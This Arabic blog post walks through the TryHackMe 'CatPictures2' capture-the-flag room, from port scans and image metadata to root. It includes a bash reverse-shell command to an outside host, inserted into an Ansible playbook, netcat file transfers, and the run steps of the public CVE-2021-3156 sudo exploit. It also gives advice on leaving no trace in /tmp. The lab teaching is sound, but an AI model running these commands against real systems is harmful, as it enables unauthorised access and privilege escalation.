Search 🔎🖥️

TryHackMe|CatPictures2 WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي: https://tryhackme.com/r/room/catpictures2

====================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 5 بورتات، نرجع نسوي Aggressive سكان عليها

sudo nmap IP -vv -A -p 22,80,222,3000,8080

بورت 22 عليها SSH ونظام الـvictim هو ubuntu، وبورت 80 عليها Nginx server، أعطاني الـhttp title، وبرضو قالي إن robots.txt عليه 7 disallowed entries

*ملاحظة: robots.txt هو ملف يحتوي على المسارات اللي الموقع ما يبغى المتصفحات توصل لها، وأيضا يحتوي على المتصفحات اللي ممنوعة توصل للموقع. أحيان هذا الملف يحتوي معلومات مهمة. 

بعد كذا على بورت 222 برضو SSH server، على بورت 8080 موجود Python Simple HTTP Server. 

وخلال ما هذا السكان شغال نسوي سكان على جميع البورتات الموجودة على الشبكة ونشوف لو طلع معانا أي بورتات إضافية، بنخليه شغال في صفحة لوحده ونكمل، ونرجع له نشوف لو طلع معانا أي بورت جديدة

sudo nmap IP -vv -p-

طلع معانا بورت 1337. 

نروح للمتصفح وندخل على بورت 3000، بنلاقي عليها Gitea، وهو يستخدم في كتابة الأكواد مُشابه لـGitHub. أما على بورت 80، بنلقى موقع فيه ألبوم، وبداخل هذا الألبوم 7 صور لقطط. 

إذا قلبنا في هذه الصور، كلها صور عادية ما فيها شيء مهم، ولكن لو شفنا الـdescription لأول صورة في الألبوم بنلقى بداخله رسالة 

وعشان نقرأ الـmetadata بنستخدم exiftool، لكن أول حاجة نحمل الصورة على جهازنا، ونسميها أي اسم، انا سميتها cat، لسهولة التعامل معها. بعد ما نحملها نستخدم هذه الكوماند

exiftool cat.jpg

في النتائج عند الـtitle، بنلاقي رقم 8080 ثم / ثم بعد كذا ملف نصي

لو فكرنا شوي، هذا بالضبط طريقة قراءة ملف من الـpython simple server اللي موجود على بورت 8080، فاللي بنسويه إننا من المتصفح بنروح لـIP:8080/764efa883dda1e11db47671c4a3bbd9e.txt ثم بيفتح معانا ملف نصي، وبداخله بيكون موجود اسم مستخدم وكلمة سر لتسجيل الدخول على Gitea على بورت 3000. 

وبرضو أعطانا رقم البورت اللي يشتغل عليها Olivetin وهي 1337، اللي ظهرت معانا لما سوينا سكان على جميع البورتات. و Olivetin يعطيني واجهة أقدر من خلالها أنفذ أكواد مكتوبة مسبقا، وبنوضح تحت كيف نستفيد منه.

الحين بنروح لبورت 3000 ونسجل دخول، ثم مجرد ما ندخل علطول بنلقى أول فلاق 

نضغط عليه ونقرأه ✨، بعد كذا اللي نبيه الحين إننا نحصل على shell بداخل هذا النظام. لو رحنا لبورت 1337 أحد الأزرار الموجودة مكتوب عليه Run Ansible Playbook

بما إن احنا عندنا وصول لـGitea فلو عرفنا وشهو الـPlaybook اللي قاعد يشغله، وعدلنا عليه وحطينا shell، بيصير مجرد ما نضغط على هذا الزر بيوصل لنا اتصال على جهازنا. 

نرجع لـGitea ونضغط على ansible

بعد ما يدخلنا على الصفحة بيكون عندي مجموعة ملفات، أحدهم الفلاق اللي تو قرأناه، وفيه playbook.yaml، من اسمه واضح إنه مرتبط باللي موجود على Olivetin. نضغط عليه ونعرضه

*ملاحظة: yaml هي أحد لغات البرمجة اللي تستخدم عادة في الـconfiguration files. 

عشان نعدل عليه بنضغط على علامة القلم، ثم بدل ما تكون الكوماند whoami بنحط مكانها reverse shell، أنا أخذت reverse bash -i من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN  لجهازكم، والبورت نفس ما تبغون.

لكن بنضيف قبل الشيل bash -c عشان تشتغل كويس

bash -c "/bin/bash -i >& /dev/tcp/10.18.96.207/4444 0>&1"

بعدين في الـcommit changes نضيف أي شيء، ثم نضغط commit changes

ثم نرجع على جهازنا ونجهز الـlistener

nc -nlvp IP 

وبعدها نروح لبورت 1337 ونضغط على Run Ansible Playbook، وبكذا بيوصل لنا اتصال على جهازنا. وبما إن الـvictim  جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.

الخطوات كالتالي:

نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

بعدين هذه الكوماند

export TERM=xterm

ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية

الحين نجيبها لقدام باستخدام هذه الكوماند

stty raw -echo;fg

الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell  ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.

الحين احنا في المجلد للمستخدم bismuth وبداخله موجود عندنا flag2.txt

cat flag2.txt 

وبكذا حصلنا على ثاني فلاق✨. آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh. 

بأنقله للضحية باستخدام netcat، في ncat الـlistener هو اللي يستقبل والـClient هو اللي يرسل، ولازم نشغل الـlistener قبل الـclient

على جهاز الضحية نروح للـtmp ونحمل الملف هناك

nc -nlvp 1233 > linpeas.sh

وعلى جهازنا 

nc -nv IP 1233 < linpeas.sh

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

نغير صلاحيات linpeas.sh لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh


قالي اشيك إذا كانت نسخة sudo اللي عندي vulnerable، وعشان أعرف النسخة، بنلقاها موجودة في أعلى نتائج السكان


فاللي بسويه بروح لقوقل وأبحث sudo version 1.8.21p2 بيطلع معانا صفحات كثيرة، وشروحات كثيرة، أنا بأشرح هنا الطريقة اللي استخدمتها. 

أول شيء نسوي clone لGitHub repository 

git clone https://github.com/blasty/CVE-2021-3156

بيتحمل معانا مجلد برقم الـCVE، ننقله للـvictim، لكن قبل ننقله لازم نضغطه

tar -cvf exploit.tar CVE-2021-3156

ثم بننقله بالـnc بنفس طريقة نقلنا لـlinpeas.sh بالأعلى، ثم لما يوصل لجهاز الضحية نفك الضغط

tar xpf exploit.tar

ثم نروح للمجلد اللي تحمل معانا 

cd CVE-2021-3156

ثم 

make

بعدين نشغله بدون أي arguments

./sudo-hax-me-a-sandwich

بيطبع لنا إنو نختار يا 0 يا 1 يا 2 على حسب نسخة السودو اللي عندنا، فعشان كذا نختار 0

./sudo-hax-me-a-sandwich 0

بعد كذا بيعطيني علطول root، نسوي spawn لـbash، لأنها أسهل 

/bin/bash -i 

ثم نقرأ آخر فلاق

cd /root

cat flag3.txt

بكذا يكون حصلنا على آخر فلاق وانتهينا من الحل ✨. 

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)